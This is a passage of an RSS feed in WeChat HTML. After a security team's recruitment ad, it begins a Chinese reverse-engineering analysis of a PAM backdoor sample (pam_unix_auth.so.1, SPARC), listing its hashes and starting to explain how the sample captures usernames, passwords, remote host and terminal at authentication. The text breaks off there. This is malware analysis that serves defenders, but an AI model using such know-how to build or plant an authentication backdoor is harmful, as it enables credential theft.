2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;caret-color: rgb(34, 34, 34);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);"><div data-role="paragraph" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif&#34;);background-size: 100%;background-position: 0px center;background-repeat: no-repeat;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结束</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">招新小广告</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">新成立组IOT+工控+样本分析 </span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期招新</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎联系</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">admin@chamd5.org</span></span></p></div></div></div></div></div></div></div><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;clear: both;min-height: 1em;background-color: rgb(255, 255, 255);text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;height: auto !important;" data-copyright="0" data-imgfileid="100028091" src="https://wechat2rss.xlab.app/img-proxy/?k=a6f80e42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D5"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="2247513746">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a53680d6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247513746%26idx%3D1%26sn%3D3443d15eed036c4f30aa0d91e983ec18">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 30 Nov 2025 08:01:00 +0800</pubDate>
    </item>
    <item>
      <title>PAM Backdoor分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247513736&amp;idx=1&amp;sn=a50f47d25bc548afa308bf2f29027377</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>megaparsec</span> <span>2025-11-28 08:15</span> <span style="display: inline-block;">辽宁</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ffb34b0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FPUubqXlrzBQpbd1a6kN6ElKep3XFeQALscW2zqhcxcrC7e7fFeMpJibiaibk6OI8J2Xk4DmT0OKic0QRfHDp7pSaTg%2F0%3Fwx_fmt%3Djpeg"/></p>


<blockquote style="-webkit-tap-highlight-color: transparent;margin: 20px 0px 1em;padding: 10px 10px 10px 20px;outline: 0px;border-width: 3px 1px 3px 3px;border-style: none solid;border-color: rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.65);color: var(--weui-FG-1);font-size: 15px;text-indent: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;border-radius: 0px;background: no-repeat rgba(249, 249, 249, 0.76);width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow: auto;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-indent: 0em;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组)</span></p></blockquote><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">样本信息</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">样本来源于MalwareHunterTeam（<a href="https://x.com/malwrhunterteam/status/1986373258875191727）" target="_blank">https://x.com/malwrhunterteam/status/1986373258875191727）</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">样本名称：pam_unix_auth.so.1</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">MD5：2366270c777695d7d53b757a9982f07d</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">SHA1：b222b490abf08c3a65de7b9febeebf797fe35360</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">SHA256：9a8eba806e377eb97f86d6568e0f0c4e961e176b74339249694c75e413549648</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">文件类型：ELF32</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">架构：SPARC 32位大端序（Big Endian）</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.6916666666666667" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100030041" src="https://wechat2rss.xlab.app/img-proxy/?k=80c36a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQpbd1a6kN6ElKep3XFeQALObo34mMF8F12OM9XZrGb9tricBXIFfFuqvIFOj3EprkQBxB7XbthkDA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"></figure><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">逆向分析</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">pam_unix_auth.so.1</span></strong><span leaf=""> 是 Pluggable Authentication Modules (PAM) 框架中的一个核心认证模块，主要用于 Unix/Linux 系统中的用户身份验证。该模块实现了 </span><code style="color: rgb(30, 107, 184);font-size: 12px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">pam_sm_authenticate()</span></code><span leaf=""> 函数，为 PAM 认证栈提供功能（<a href="https://www.unix.com/man_page/linux/5/pam_unix_auth/）。这个模块通常在" target="_blank">https://www.unix.com/man_page/linux/5/pam_unix_auth/）。这个模块通常在</a> Solaris 和其他 Unix 系统中使用，在 Linux 系统中对应的通常是 </span><code style="color: rgb(30, 107, 184);font-size: 12px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">pam_unix.so</span></code><span leaf=""> 模块。它是系统登录、su、sudo 等需要用户认证的服务的基础组件。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Ghidra打开，查看其导出函数，定位导出函数**pam_sm_authenticate()**。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">认证参数获取</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">首先获取认证相关的各种参数。调用调用pam_get_item()函数获取PAM_USER（用户名）、PAM_AUTHTOK（用户密码或认证令牌），如果当用户名和密码均不为空时，则继续向下执行，获取PAM_RHOST（远端主机名或IP）和 PAM_TTY（终端信息），</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.5248815165876777" data-s="300,640" data-type="png" data-w="844" style="height: auto !important;" type="block" data-imgfileid="100030042" src="https://wechat2rss.xlab.app/img-proxy/?k=54770cf8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQpbd1a6kN6ElKep3XFeQALY4SJM0ZbCAic3sffEMBk9hc86egdnBAoTun1bvaFDG42vzcicUwwapPg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 